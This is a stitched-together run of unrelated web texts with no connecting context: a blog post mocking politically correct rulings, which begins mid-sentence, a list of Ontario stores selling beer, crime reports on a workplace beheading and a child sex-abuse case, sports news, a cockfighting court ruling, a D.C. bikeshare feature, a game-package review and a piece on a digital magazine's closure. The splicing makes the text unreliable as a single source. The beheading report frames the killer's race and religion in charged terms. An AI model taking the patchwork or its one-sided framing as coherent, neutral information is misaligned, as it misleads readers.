Jackson is a real person: a pornographic model. Of course, there are hundreds (thousands?) of other Sarah Jacksons in the world, and Wahlbon had no idea that his lab instructor would interpret his answer in such a specific and malicious manner. His answer was marked “inappropriate” and he received a grade of zero on the quiz. Wahlbon appealed to his professor, Bill Deane, but Deane maintained that Wahlbon had committed sexual harassment. Wahlbon contacted the head of department because, well, that’s nonsense. …no resolution has been reached yet. But according to The Knoxville News Sentinel, the university is now investigating the matter as if a complaint had been filed—even though no one has taken such an action.  Wow, this is surreal. Let’s assume, for the sake of argument, that Mr. Wahlbon was thinking of the pornographic model when he wrote “Sarah Jackson” on the quiz. How is this sexual harassment? I don’t claim to be an expert on such matters, but I’m under the impression that harassment occurs when someone with power in a relationship makes some sort of sexual advance (or even tells a dirty joke). So how can a student harass a teacher? Or even a teacher’s lab instructor?  You can say that Wahlbon is guilty of displaying bad taste, but then we get to the issue of whether he actually meant the Sarah Jackson. If it was a more uncommon name (such as Jenna Jameson, the famous Republican-supporting porn star), then you could safely assume (though not legally prove) that he intended to make a boorish joke. But is the Sarah Jackson so famous that it’s safe to think that’s who Wahlbon had in mind? For what it’s worth, I never heard of that Sarah Jackson (though I once dated a girl with that name).  By the way, the British have similarly brainless people in their nation.  Though they express their political correctness in non-sexual ways (what a surprise), such as the principal who has banned running on the playground.  The headmaster of Hillfort Primary School in Liskeard, Dr Tim Cook, introduced the ban to prevent the little blighters injuring themselves. Instead, kids at Hillfort can blow off steam at playtime by playing with Lego, Jenga, and even dancing, as part of the school’s plan to reduce ‘negative behaviours’. Cook has responded by reassuring parents that their children are not completely prohibited from running – they are just not allowed to run across the playground. Have the nippers been given a small area to run around instead? Getting dizzier and dizzier as they charge about in circles? …Arguing that the ban is for safety reasons is pathetic. It’s running, not sword-swallowing. Grazed knees are part of growing up, and do not, or at least should not, result in lawsuits.  Fortunately, British parents seem a bit more sensible than their bureaucratic overlords. They’re petitioning to allow their kids to…gasp…do more than walk on the playground during recess.  There’s also lunacy in Australia. And since I’m a parent, I’m especially horrified about what happened to a father who wanted to protect his stepdaughter from sexting.  A man who found out that his 15-year-old stepdaughter was sexting her boyfriend proceeded to download the evidence to bring it to the school and the police to ask them to intervene. …Intervene they did. Now the dad has been convicted on child pornography charges and placed on the sex offender registry. This, despite the judge understanding exactly why the man, Ashan Ortell, 57, held onto the images. “There is no suggestion of any exploitation of them by anybody,” ruled Judge Jane Patrick, over in Australia, which is becoming as daffy as the United States. “You made no attempt to conceal the images. In fact, you were so concerned that you contacted the authorities about the images.”  If you read the entire story, I’m guessing that the cops went after the dad because he was badgering them for not doing anything about his stepdaughter. And I sympathize with the cops for choosing not to make a big deal out of two teenagers sexting, but did they really have to go after the guy for having the images when nobody thinks he had any unsavory intent or motives?  Keep in mind that this took place in the nation that awarded workers compensation to a woman who injured herself while having sex and also threatened fines against companies that pointed out the downside of a carbon tax.  All that being said, Australia is still my top choice for where to go if (when?) America suffers a Greek-style fiscal and economic collapse.  P.S. I’ve come across lots of crazy government decisions in my time, so I’m not surprised by today’s material. Though since I mentioned Greece, that government deserves some sort of prize for subsidizing pedophiles and demanding stool samples before letting entrepreneurs set up online companies.  And let’s not forget that European courts that have ruled that there’s an entitlement to free soccer broadcasts and a right to satellite TV. About as nutty as the Finnish court that ruled there’s a right to broadband access, and as crazy as the Bolivian decision that there’s a human right to receive stolen property.  P.P.S. In his speech to the 2008 Democratic Convention, former Massachusetts Governor Deval Patrick said “Government, as Barney Frank likes to say, is simply the name we give to the things we choose to do together.”  If that’s true, then the above examples show that we “choose” to do some really foolish things. In reality, as Glenn Reynolds of Instapundit reminds us, we don’t choose. That’s why this poster contains a much more accurate assessment of what really happens when government gets involved.
-As of Tuesday, people in Ontario can buy beer at 58 locations across the province in a long-awaited move that was announced by Premier Kathleen Wynne at a Toronto Loblaws.  In the initial rollout, 25 grocery stores in the Greater Toronto Area will be licensed to sell beer, in addition to 16 in southwestern Ontario, 13 in the east and six in the north.  Two of the stores that will sell beer have yet to be listed by the province.  Below is a list of all 58 locations listed by the provincial government that will be selling beer.  The province is advising people who want to buy beer to first to check with the grocery stores before heading there.  Greater Toronto Area  Aurora  Sobeys —15500 Bayview Ave.  Etobicoke  Loblaws — 380 The East Mall.  Georgetown  Real Canadian Superstore — 171 Guelph St.  Milton  Metro — 1050 Kennedy Cir.  Mississauga  Michael-Angelo's — 4099 Erin Mills Pkwy.  Loblaws — 5010 Glen Erin Dr.  Newmarket  Real Canadian Superstore — 18120 Yonge St.  Metro — 16640 Yonge St.  Oakville  Longo's​  — 3455 Wyecroft Rd.  FreshCo — 2501 Third Line.  Longo's — 469 Cornwall Rd.  Oshawa  Real Canadian Superstore — 1385 Harmony Rd. N.  Pickering  Metro — 1822 Whites Rd.  Richmond Hill  Sobeys — 11700 Yonge St.  Toronto  Coppa's Fresh Market — 4750 Dufferin St.  Galleria Supermarket — 865 York Mills Rd.  Real Canadian Superstore — 51 Gerry Fitzgerald Dr.  Real Canadian Superstore — 2549 Weston Rd.  Loblaws — 17 Leslie St.  Loblaws — 50 Musgrave St.  Vaughan  Coppa's Fresh Market — 3300 Rutherford Rd.  Galleria Supermarket — 7040 Yonge St.  FreshCo — 800 Steeles Ave W.  Whitby  Farm Boy — 360 Taunton Rd.  West Ontario  Cambridge  Zehrs — 400 Conestoga Blvd.  Guelph  Metro — 500 Edinburgh Rd. S.  Hamilton (Ancaster)  Sobeys — 977 Golf Links Rd.  Hamilton  FreshCo​  — 700 Queenston Rd.  Fortinos — 65 Mall Rd.  Food Basics — 505 Rymal Rd. E.  Starsky Fine Foods — 685 Queenston Rd.  Kitchener  Real Canadian Superstore — 875 Highland Rd. W.  London  Farm Boy — 1415 Beaverbrook Ave.  Walmart Supercentre — 1280 Fanshawe Park Rd.  Real Canadian Superstore — 1205 Oxford St.  Food Basics — 509 Commissioners Road W.  Niagara Falls  Food Basics — 3770 Montrose Rd.  Paris  Sobeys — 307 Grand River St. N.  Windsor  Real Canadian Superstore — 4371 Walker Rd.  East Ontario  Kanata  Sobeys​  — 700 Terry Fox Dr.  Sobeys — 840 March Rd.  Kingston  Loblaws — 1100 Princess St.  Lindsay  La Mantia's Country Market — 50 William St. S.  Nepean  Metro — 3201 Strandherd Dr.  Orillia  Food Basics — 975 West Ridge Blvd  Ottawa (Orleans)  Farm Boy — 2030 Tenth Line.  Ottawa  Loblaws — 1980 Baseline Rd.  Real Canadian Superstore — 760 Eagleson Rd.  Sobeys — 193 Metcalfe St.  Peterborough  Sobeys​  — 1200 Lansdowne St W.  Sobeys — 501 Towerhill Rd.  Stittsville  Brown's Your Independent Grocer — 1251 Main St.  North Ontario  Sault Ste. Marie  Pino's Get Fresh — 219 Trunk Rd.  Sudbury  Walmart Supercentre​  — 2416 Long Lake Rd.  Walmart Supercentre — 1349 Lasalle Blvd.  Thunder Bay
-In September of 2014, Alton Nolen beheaded a woman and seriously injured a second at the Vaughan Foods food processing plant in Moore, OK. Nolen was an employee at the plant.  Nolen had been suspended from his job because he aggressively bullied co-workers and said he hated white people. Coworkers say he bragged that he “beat Caucasians.” After being suspended, he came back to the plant with a knife and beheaded Colleen Hufford, a 54-year-old white female. He also stabbed and nearly killed Traci Johnson, a 43-year-old white female.  Johnson was one of the people who had submitted a complaint about Nolen hating white people.  Nolen is a black Muslim who also used the aliases Jah’Keem Yisrael, and Muhammed. He attended a local mosque. The fact that he beheaded Hufford may have been inspired by ISIS videos. In 2010 Nolen was sentenced to five years in prison for assault and battery of a police officer. He only severed about two years.  Since the brutal murder, there has been a huge legal battle over Nolen’s competency.  In October of 2015, a judge ruled that Nolen was competent to stand trial. Nolen said he wanted to plead guilty.  In August of 2016, a different judge ruled that Nolen was not competent enough to enter a guilty plea. Now, six months later, that same judge has ruled that Nolen is competent enough to plead guilty. If he does not change his plea, then he could be sentenced next week.
-Brooke L. Lajiness, 38, will go on trial next month on 13 charges of criminal sexual misconduct  A Michigan mother is set to go to trial next month on 13 charges of criminal sexual conduct.  Brooke L. Lajiness, 38, was arraigned earlier this month for accosting a minor for immoral purposes and furnishing obscenity to a child.  Her pretrial has been scheduled for May 8 before a judge in Washtenaw County, Michigan. Her attorney, David I. Goldstein, told a judge Thursday that Lajiness was renouncing her probable cause hearing and her right to a preliminary examination.  Lajiness' husband has stayed married to her and has been accompanying her in court.  In a Facebook post last month, Lajiness proclaimed her love for her husband David, saying: 'In life, nothing is guaranteed,'  'So finding someone who knows all of your flaws, weaknesses and mistakes and still thinks you're amazing is something to hold onto and never take for granted!'  Her affair with the young boy allegedly began last summer, as he was graduating from middle school on to high school.  Michigan State Police Trooper Donald Pasternak testified that most of the sexual encounters happened in the back of Lajiness' car in a Lima Township driveway.  At her arraignment on March 3, Pasternak testified that he started investigating Lajiness a few weeks before, when the victim's mother walked into a police station and complained that Lajiness was having sex with her son.  Lajiness reportedly confessed later on to having sex with the teen and exchanging the nude pictures.  Police found that she started exchanging photos with the teen while he was still in middle school.  She is also facing an additional charge in relation to the photos.  Langinesswas accompanied by her husband David in court on Thursday after being accused of engaging in a sexual relationship with a 14-year-old boy  Brooke posted this photo of the two in June of 2016, around the time that the affair reportedly began  Assistant Washtenaw County Prosecutor John Vella said last week that they are looking into whether they may be more victims.  'This case involves a defendant seeking out minors for sex,' Vella said, according to M Live.  Lajiness' attorney, David I. Goldstein, said prosecutors need to focus on the case at hand.  'He keeps talking about 'minors,' but there's one,' Goldstein said.  Police say she admitted to having sex with the teen and sending nude photos to the boy  Lajiness is currently free after posting $50,000 bail.  As part of her bond conditions, Lajiness is not allowed near school property or around minors except for her own children. She is also not allowed to use computers, social media websites or to drink alcohol or take drugs.  Attorneys argued in court over whether she should be allowed to travel to Toledo to visit her family while she's free on bail. The judge ruled that she should be free to travel there, so long as she lets the court know in advance.
-The New York Jets might have to try to clinch a playoff spot this weekend without Mark Sanchez.  Jets coach Rex Ryan said Thursday that Sanchez's sore shoulder is worse than he first thought, though he still expects the quarterback to start Sunday at Chicago. If not, 40-year-old Mark Brunell would be under center.  "This one could be more of a game-time type decision than I thought it would be," Ryan said.  The Jets (10-4) will clinch a playoff berth if they beat the Bears (10-4) at Soldier Field.  Sanchez was limited in practice for the second consecutive day and "never had a ton of zip" on his passes, according to Ryan. But offensive coordinator Brian Schottenheimer saw it differently, offering a more optimistic evaluation.  "As he got going a little bit, he looked pretty good," Schottenheimer said. "Early in the day, Mark was trying to get loose. He had an 18-yard curl route that was awfully sharp."  Ryan wouldn't confirm published reports that an MRI exam Monday revealed a slight cartilage tear in Sanchez's shoulder, hurt during New York's second drive in last Sunday's 22-17 win at Pittsburgh.  NFL Network insider Albert Breer confirmed the report Wednesday through a league source.  Sanchez finished the game and played well through the injury. He was 19-of-29 passing for 170 yards and ran for a touchdown, stopping an eight-game interception streak.  "I still think he's going to play, but I was shocked a little bit," Ryan said. "The fact that he played the game and he looked great, I think I made an assumption that maybe I shouldn't have."  Earlier in the week, Ryan said he was 99 percent sure that Sanchez would play. The coach downgraded that number to 80 percent Thursday.  Sanchez wasn't available to the media because he talks on Wednesdays, but he has said he's "playing, that's all there is to it."  Ryan said the decision whether or not Sanchez plays will be made by the team, along with input from the quarterback. The coach said he made a mistake earlier this season when he allowed cornerback Darrelle Revis to decide if he was ready to return from a tweaked hamstring, and it worsened.  Sanchez threw more passes during practice Thursday than he did Wednesday, an encouraging sign. Both Ryan and Schottenheimer believe the decision likely will come down to Sanchez's threshold for pain, but the team won't put him in if he can't perform.  "He's still got to improve before we'll be comfortable with him out there as our starting quarterback," Ryan said. "Do we think he will? Yes, we do think he'll be better. This is what I've said the whole time about it being a sore shoulder."  Brunell, signed during the offseason after two years with the New Orleans Saints, is prepared to step in for Sanchez if needed. Brunell's last start came in the regular-season finale last year as Drew Brees rested for the Saints' eventual Super Bowl-winning push.  Listen to the 2011 NFL season LIVE -- hear all the action online in premium sound quality with NFL Audio Pass. Listen to the 2011 NFL season LIVE -- hear all the action online in premium sound quality with NFL Audio Pass. Sign up now!  "You have to be ready, that's the job of a backup," Brunell said.  Schottenheimer said the Jets wouldn't have to change much of their offensive game plan if Brunell starts, except for the fact he's left-handed.  "There'd be a few things here or there you might want to flip over and run the other way," Schottenheimer said. "For the most part, you don't change too much."  Ryan said it's "not essential" that Sanchez plays against the Bears if he's still hurting, especially since the Jets have confidence in the experienced Brunell.  "He's smart, he's done it all," Ryan said of the 18-year veteran. "We're not talking about a guy who's never done it before in his career. This guy was a Pro Bowl quarterback for a number of years. Is he as good as Mark Brunell was back then? No, because he'd be our starting quarterback. I feel comfortable with Mark, I really do."  Notes: Safety Eric Smith (concussion) was ruled out for the second consecutive game, as was RT Damien Woody (right knee). ... WR Santonio Holmes (turf toe) was limited in practice, but Ryan expects him to play Sunday.  The Associated Press contributed to this report.
-CHENNAI: In a state which is still debating the pros and cons of the Supreme Court ban on Jallikattu (bull taming), yet another popular rural game -- the cockfighting – on Wednesday received a jolt with the Madras high court suggesting the Tamil Nadu government ban the sport."This court is custodian of not only the rights of citizens, but rights of voiceless non-humans as well," observed Justice N Kriubakaran.Refusing to grant permission for a cockfight event at a temple in Virattipathu in Madurai district, Justice Kirubakaran said: "Torture, injury, hurt, discomfort, trauma, agony, pain, distress, disturbance, sorrow, suffering, harm, shock, bleeding, brutal attack, etc., are neither synonymous nor can go together with pleasure, joy, happiness, excite, net, fun, celebration, entertainment, enjoyment, recreation and championship."Cockfight is generally conducted during festivals seasons, Justice Kirubakaran said, adding that not just birds, such fights often led to fights among their owners also. "There is s possibility of group clashes resulting in injuries to men and even loss of lives which is unwanted and avoidable.”Cockfights are also said to be conducted for betting and gambling, said Justice Kirubakaran, refusing to permit the event at Arulmigu Muniyandi temple in Viraattipathu.“Besides our forefathers, the Constitution also mandates treating animals with compassion,” he said, adding, "It is the bounden duty of every citizen to treat animals with compassion and sympathy except for necessity. Birds and animals are friends of humans."Citing constitutional mandate and the apex court ruling on Jallikattu, the judge said: "This court suggests the government to prohibit cockfight. Accordingly, the permission sought by the petitioner cannot be granted."
-LAWRENCE — The Kansas basketball team is opening and closing its 2016-17 nonconference season with a bang.  KU announced its full nonconference schedule Tuesday, with the Jayhawks beginning and ending their docket with perennial NCAA Tournament squads Indiana, Duke and Kentucky.  KU opens its regular season against the Hoosiers as part of the Armed Forces Classic on Nov. 11 in Honolulu, faces the Blue Devils four days later as part of the Champions Classic on Nov. 15 in New York and finishes its non-conference schedule against Kentucky as part of the Big 12/SEC Challenge on Jan. 28 in Lexington.  "With this schedule, once again we will rank at the top of the toughest schedules in the nation," KU coach Bill Self said in a news release. "We’ll get our share of frequent flyer miles right off the bat playing Indiana in Honolulu and Duke in New York City. We’re playing 10 of our 12 non-league games against teams which went to the postseason last year, including four NCAA teams."  After hosting Washburn and Emporia State for a pair of exhibition games on Nov. 1 and 7, respectively, the Jayhawks do not return to Allen Fieldhouse until their regular season home opener Nov. 18 against Siena. It is the latest home opener for KU since the 2005-06 season.  Following five potential neutral-site contests, the Jayhawks’ first true road contest of the year comes Dec. 22 when KU will travel to Las Vegas to face UNLV.  Other highlights on the Jayhawks’ nonconference schedule include the CBE Hall of Fame Classic on Nov. 21-22 at Sprint Center in Kansas City, Mo., and home dates against Stanford (Dec. 3) and former Big 12 rival Nebraska (Dec. 10) at Allen Fieldhouse. The Cornhuskers feature former KU player Andrew White, who averaged 16.6 points and 5.9 rebounds as a junior last season.  The rest of KU’s nonconference slate includes games against UNC-Asheville (Nov. 25), Long Beach State (Nov. 29) and UMKC (Dec. 6), all at Allen Fieldhouse, and Davidson (Dec. 17) at Sprint Center.  "This schedule, like in the past," Self said, "will help us prepare for the always tough Big 12 season."  KANSAS MEN’S HOOPS SCHEDULE  2016-17 NONCONFERENCE  Nov. 1 — Washburn (Exh.)  Nov. 7 — Emporia State (Exh.)  Nov. 11 — Indiana (Armed Forces Classic)  Nov. 15 — Duke (Champions Classic)  Nov. 18 — Siena  Nov. 21-22 — TBD (CBE Hall of Fame Classic)  Nov. 25 — UNC-Asheville  NOv. 29 — Long Beach State  Dec. 3 — Stanford  Dec. 6 — UMKC  Dec. 10 — Nebraska  Dec. 17 — Davidson (at Kansas City, Mo.)  Dec. 22 — at UNLV  Jan. 28 — at Kentucky
-As New York was busy installing its brand-new bike share stations earlier this year, D.C.’s Capital Bikeshare program clocked its 4 millionth ride. It was a Wednesday evening at the peak of rush hour when the milestone journey began from a station outside the State Department.  Washington, in all its geeky glory, beat every other major American city in establishing a premier bike-sharing system. When Boston, Chicago and San Francisco decided to try the trend, they turned to D.C. for guidance. And the District continues to set the standard, with its experiments using protected green lanes, programs to reach out to new riders and efforts to integrate the bike plan into a broader transit strategy.  Bike commuters wait for the green light at the intersection of 15th and Massachusetts Avenue in Northwest. (Astrid Riecken/For The Washington Post)  Embracing bike-friendly policies might seem logical for a modern metropolis, but Washington was resistant to early efforts. In 2009, then-Mayor Adrian Fenty led a polarizing push for bike lanes, including the District’s first against-the-traffic, protected lane on 15th Street NW. In light of the city’s significant economic strains at the time, his enthusiasm was seen by some as a frivolous pursuit. Now it is regarded as visionary. Mayor Vincent Gray’s recently released Sustainable DC plan calls for 75 percent of commutes to be made by public transit, walking or biking by 2032. It’s now 50 percent.  There will be bumps along the way. Despite mayoral support, new bike lanes draw opposition, as in the case of the cycle track along M Street. After members of the Metropolitan African Methodist Episcopal Church complained about losing parking, the city decided in August to drop a section of the lane. Instead, bicyclists have to merge with car traffic for the block between 15th and 16th streets.  But as more residents opt for two wheels instead of four, the opposition to accommodating cyclists is fading. Bike sharing is rapidly taking hold in the suburbs, and regional planners are expanding options and road access for riders.  The man responsible for coordinating the District Department of Transportation ’s bike plans says he fell into the city’s bike culture out of necessity. “My story is not that much different from a lot of people’s stories in D.C. who discover bicycling,” Jim Sebastian says. “They discover it’s quicker, it’s more convenient, it’s cheaper and it’s more fun than driving or taking the train.”  Sebastian, who is helping coordinate for the first time all of the District’s master transit plans as part of the moveDC project,became the District’s bike program coordinator in 2001 and helped bring bike share to the city, first with a pilot program called SmartBike D.C. in 2008, then partnering with Arlington County to launch the Capital Bikeshare system in 2010.  Today, with the swipe of a credit card, residents and tourists alike have access to more than 1,800 bikes. They can become members of the system for a single day ($7), a month ($25) or a year ($75). The program encourages short rides between stations and rapid turnover. There are usage fees for every trip longer than 30 minutes. Keeping a bike for a day costs members $70.50 and non-members $94. There are 176 solar-powered stations in the District, 59 stations in Arlington, eight stations in Alexandria and, soon, 51 stations in Montgomery County.  Under Sebastian’s watch, the District has added more than 50 miles of bike lanes and 2,500 bike racks, and has more than doubled the number of people on the streets biking. But he’s not done yet. In addition to overseeing the growth of Bikeshare, which is managed by the company Alta, he’s also partnering with DDOT to complete the 20-mile Anacostia Riverwalk Trail, now 60 percent done, and the M Street cycle-track.  “He has been a real moving force behind gaining acceptance of bicycles here in the District of Columbia,” Gray says. “We’re very fortunate to have him working with us, because it is not just a job to him, it is a commitment, and that’s a big difference.”  Right now, bikes represent 3.3 percent of total commutes, Sebastian says. But he expects it to hit 5 percent by 2015.  Bike advocates such as Sebastian and the Washington Area Bicyclist Association also insist commuting isn’t their sole focus. Short trips to the grocery or library, or a recreational ride along the water, are the sorts of things they say that Bikeshare can facilitate better than Metro and buses. Indeed, a 2013 member survey showed that seven in 10 users had used Bikeshare for social activities or to run errands.  “Every city’s bike culture is a little bit different,” says Greg Billing, advocacy coordinator at WABA. “I think where we really excel is kind of how commonplace it is.”  WABA has been around since 1972, long before bike sharing captured the imagination of city planners. The organization helped lobby for bikes to be allowed on Metro during non-rush hours and to close Beach Drive to car traffic on the weekends. Now it’s offering adult biking lessons and safety instruction while continuing to lobby for more bike lanes and infrastructure.  Sebastian says part of what made Bikeshare such a success, which now drives the creation of more infrastructure for all riders, was a strong community of cyclists and a healthy regional trail system. League of American Bicyclists president and Virginia resident Andy Clarke also points to the District’s bikeable fabric of gridded streets and long boulevards.  1 of 18 Full Screen Autoplay Close Skip Ad × The changing face of Downtown D.C. View Photos The city’s core has seen an explosion of change in the past several years, and there’s no signs of slowing. You can expect residences along the Mall, new communities and experiments. WP Magazine looked at several proposed plans and how it would effect the city as part of the Urban Design issue. Caption The city’s core has seen an explosion of change in the past several years, and there’s no signs of slowing. You can expect residences along the Mall, new communities and experiments. WP Magazine looked at several proposed plans and how it would effect the city as part of the Urban Design issue. Kristie Conserve, front left, Meghan Simpsonm front right, and Phanuelle Duchatelier, left, along with other interns for World Learning sit in Franklin Square while having lunch. The National Park Service and the District are launching a pilot partnership to remake Franklin Park into "an active, flexible, sustainable, and historic urban park ." Lucian Perkins/For The Washington Post Buy Photo Wait 1 second to continue.  Projects such as the installation of a two-way cycle track in the median of Pennsylvania Avenue helped show the District’s dedication to putting cyclists on an equal footing with motorists, Clarke says. The rate of bicyclists along the iconic street tripled after the track’s installation.  But the popular cycle-track is also home to a familiar battle between the two groups. Bicyclists complain that cars, often cabs, complete dangerous U-turns across bike lanes without looking. Accidents involving bicyclists along the corridor went from nine in the previous four years to 16 during the first 14 months after the lane’s installation. Police have made efforts to warn and ticket offending drivers, but the problem persists. Enforcement was one of the city’s weak areas, according to the league’s annual bicycle-friendly ratings.  D.C. Police Department Commander James Crane agrees that there has been a learning curve for his force. “We’ve had to educate our officers that it’s usually not the biker failing to yield the right of way.”  Incidents between bicyclists and motorists, as well as between bicyclists and pedestrians, are increasing, a problem that has not gone unnoticed in the media or pro-smart growth sites such as Greater Greater Washington. Even as incidents increase, Jason Broehm, a member of the D.C. Pedestrian Advisory Council, says fatalities are decreasing. Safety measures such as high-visibility crosswalks, longer pedestrian intervals that give walkers a head start crossing the street before a light change, and photo enforcement have helped road users be more aware of each other.  A station of D.C.’s Capital Bikeshare near Farragut Square on 17th and K Streets in Northwest. (Astrid Riecken/For The Washington Post)  A bicyclist uses the center bike lanes on Pennsylvania Avenue. (Astrid Riecken/For The Washington Post)  Sebastian and Crane and groups such as WABA are working to curb the rising number of accidents as biking becomes more popular. In 2004, there were 284 bike crashes, according to data from DDOT, compared with 582 in 2011. The intersection at 14th and U streets NW had nine accidents from 2010 to 2011, the highest number of any in the District. However, the number of new bicyclists, as measured by the number observed at a given point during peak hours, continues to outpace the growth rate of accidents.  Sebastian doesn’t just want more new riders, he also wants those new cyclists coming from all over the city. David Daddio, then a master’s student in planning at the University of North Carolina, took D.C.’s Bikeshare to task last year for its many underutilized stations. He estimated that 13 percent of the stations as of 2011 received fewer than 18 total trips per day. Many of these were in Southeast Washington. As Bikeshare puts more stations here and in the city’s suburbs, critics point to these numbers in opposition.  Sebastian insists that scaling back in one part of the city is not an option. “Bikeshare is a citywide phenomenon, and it will continue to be as we expand.” He says those areas where the bike community is not yet self-sustaining is precisely where DDOT needs to double its efforts, hence projects such as the Anacostia Riverwalk Trail, which will connect the Tidal Basin to the Kenilworth Aquatic Gardens. Bikeshare, whose majority of users are young, white, male and employed, also offers discounts on its $75 annual membership fee for low-income riders.  Sebastian’s vision for a biking community that includes all of the city is shared by Veronica O. Davis, founder of Black Women Bike. “As a biking community, anytime a new person gets on a bike, we need to celebrate that,” says Davis, who started the group after a young black girl outside a housing project exclaimed upon seeing Davis, “Mommy, Mommy, it’s a black lady on a bike.” The group has 800 members. According to the League of American Bicyclists, these women are part of the fastest-growing population of bikers nationally. In 2009, African Americans took 461 million bike trips, a 100 percent increase from 2001.  A bicyclist rides along 15th Street in Northwest which offers separate bike lanes and vegetation. (Astrid Riecken/For The Washington Post)  Though Davis has her own bike now, she says she started riding on a Bikeshare bike and that for many people, the hefty red bikes can offer a gateway to a new lifestyle. She hopes that as the program expands, more diverse users will flock to it. Current users reported saving $800 annually in travel costs.  Sebastian takes Metro and Bikeshare to work most days. His own bike, he jokes, isn’t as meticulously maintained as the Bikeshare bikes. Looking at the city’s biking boom and Washington’s spot as a national trendsetter, Sebastian says, “I don’t know if I would’ve picked D.C., but my job is to make D.C. more bike-friendly.” Now, with the growth of groups such as Black Women Bike and D.C. Bike Party, a monthly “party ride” around the city, Sebastian says, “you don’t need the government anymore to tell people to ride their bikes by building facilities and promoting riding Bikeshare. It’s happening. People are bicycling because it just makes sense.”  Leah Binkovitz is a freelance writer who lives in Bethesda. To comment  on this story, e-mail wpmagazine@  washpost.com.
-Note I am reviewing the product itself (the price point is up to you, the buyer, to decide if it's worth the cost).  As noted, the Rear Admiral package was an early backer offering that is basically the same as the current Andromeda game package ([...]:  1.) Lifetime Insurance - Never need to pay in-game currency to insure your ship. Current understanding is that insurance is supposed to be easy to earn in-game. Given the portion of the game which deals with this (Persistent Universe) is still in closed Alpha, we can only go by what information we are given. The current offering "only" gives 6-months free insurance. Afterwards, you need to buy it periodically.  2.) Deluxe Silver Collector's Box - You get a physical box for your game, vs the current offering's digital-only access. No one knows what the box looks like at this point so it's a gamble if you'll like it. That said, you can google and find images of what the box "might" look like.  3.) Spaceship-shaped USB Drive - It's a USB drive. 'nuff said. Again, no one knows what it will look like so that's a gamble.  4.) A physical CD of the soundtrack. The current offering gives a digital soundtrack.  5.) A glossy fold-up starmap. If it's anything like elite dangerous, it's likely going to be about 3' x 2' sized. A nice to have if you have the wall space for it but again, since we don't know what it'll look like, it's a gamble.  6.) Hardback "Making of Star Citizen". A "making of" isn't worth much other than to fans, in my opinion. That said, I'm a sucker for hardback books in packages.  7.) 5 spaceship blueprints. - I believe this would be physical blueprints you can display. Which ships, no one knows yet.  8.) 3" plastic spaceship model - Current consensus is it will be a "Constellation".  I believe as a whole, the package does qualify as a nice "Limited Edition" package. You get a lot of swag that is quite nice but already somewhat expensive when compared to other Limited Edition / Collectors Edition packages (Star Wars: The Old Republic and Elite Dangerous come to mind). Still, take everything above with a grain of salt as no one has even seen what the above look like once released. My rating may change as soon as I actually get a hold of the items.
-When The Magazine ceases publication this December, owner Glenn Fleishman will be closing shop on an ambitious two-year experiment in digital publishing.  It’s not a total surprise — subscriptions were already on a downward trend when Fleishman transitioned from editor to owner of The Magazine after purchasing the publication from Marco Arment last year — and it’s not a total bummer, either.  In fact, Fleishman says he’s feeling pretty good about stopping here: he’s met his obligation to provide Kickstarter backers with their one-year subscriptions, and he’s ending this fascinating experiment while it’s still profitable.  “I’m even able to pay myself an ever-declining hourly rate for my time,” said Fleishman, who spoke with Cult of Mac about what went right, what went wrong, and his feelings about pulling the plug on a project that was his full-time job for the last year and a half.  For Fleishman, this is a thoughtfully planned ending rather than a forced, last-minute exit. He counts this period of his career as one long learning process, for himself as well as for the folks behind the publishing platform he used, TypeEngine. (He even learned quite a bit about book publishing when putting together the crowd-funded print archive The Magazine, Year One.)  Nevertheless, The Magazine is shuttering, and there’s no single reason for the publication’s failure. The following are nine hard lessons he learned that contributed to the tough decision.  Topical drift can hurt: When it first came out, The Magazine was a unique thing. “It was a really great, unique idea — it was independent, it was paying people,” he said, “and it was the only one on Newsstand that was compact and lightweight. People subscribed out of interest.”  The Magazine pulled in almost 35,000 subscribers on launch (the title currently only has 7,000 to 8,000). To contrast that, Rupert Murdoch’s experiment in digital publishing, The Daily, attracted 80,000 subscribers, a sixth of what the media giant said he needed to break even.  The Magazine started out publishing a lot of personal essays that were about technology, by app developers and other folks in technology, who were also the target audience. Fleishman and Arment quickly realized that kind of content couldn’t sustain the publication.  “We started doing reported features and we started stretching,” Fleishman said. Many of the original readers weren’t interested in these new stories, even though Fleishman thinks everyone would have gotten bored by too many tech-focused personal stories.  “It would have become too blog-like over time,” he said, “with stuff like you could read elsewhere.”  Newsstand changed for the worse: “iOS 6 Newsstand was good for the publication,” said Fleishman, “but iOS 7 Newsstand was bad.” Apple, he said, lost interest in its iOS publishing hub.  “They hid it, they made it sort of ugly, and they suppressed the screen previews in the interest of flatness,” he said. Loyal subscribers canceled subscriptions, he said, because they forgot that new issues existed, even with Notifications and email reminders. It wasn’t in their face enough, something Fleishman attributes to the lack of publication-supportive design in Newsstand, which lost the little dot and any active cover previews of new issues.  “Apple’s disinterest in the Newsstand didn’t doom The Magazine,” he said, “but it certainly meant that people who were already subscribers forgot it existed, and contributed to the drop in subscriptions.”  Notifications aren’t always helpful: Apple sent out emails to subscribers reminding them that their subscriptions were about to renew. Fleishman notes that this counter-intuitively made people unsubscribe: If folks weren’t reading The Magazine because they forgot it had new issues, a reminder that they were “wasting” money each week didn’t help.  Targets can be too broad: Another thing Fleishman thinks contributed to The Magazine’s loss of subscribers was that the complement of content was just too broad. The original tagline, “For curious people with a technical bent,” was hard to pitch to both advertisers and potential readers, the latter of which consisted of tech-savvy people unhappy with the quirky stuff The Magazine was publishing as well as less-savvy folks.  The garden was walled: The publication’s website wasn’t really built out until June of last year. “We failed to capture readers early that way,” said Fleishman, “and many people still don’t realize they can read it online with a login.” Subscribers can download .epub and .mobi versions of the issues, but most didn’t take advantage.  Making a Newsstand app is labor- and cost-intensive. Fleishman isn’t sure he’d decide to go the same route today if he was commissioning a publication like The Magazine. “I would have avoided the expense of a native app,” he said, “and focused entirely on a backend with super-responsive design and eventually restyle as an app, or adopt a platform like TypeEngine.”  Not enough flash: Fleishman put in thousands of dollars and an equal number of hours designing parts of the app, but never was able to do the serious work of making the app interesting enough for people who like the flash and bang of modern media apps. People lost interest in the app itself at the same time that Newsstand was side-lining publications, making The Magazine lose subscribers faster than it was picking them up.  Not everyone can be an Internet personality: “If I were Guy Kawasaki,” said Fleishman, “I’d have 100,000 subscribers right now, but, sadly, I’m not.” Attention, he said, is an extremely scarce commodity — he was unable to attract enough interest in the writing quality alone to really bring and maintain attention to The Magazine.  Original content is tough: Building an all-commissioned digital magazine is time- and labor-intensive. The Magazine started as a publication and then became a website. Fleishman suggests it would have been better using Web content to populate a digital magazine (and points out that some sites, like Cult of Mac and The Loop, are already doing this). That way, he said, readers get all their content in one well-designed space without a publisher having to split their already beleaguered staff into yet another content stream. People love to get content in a different reading experience, he said.  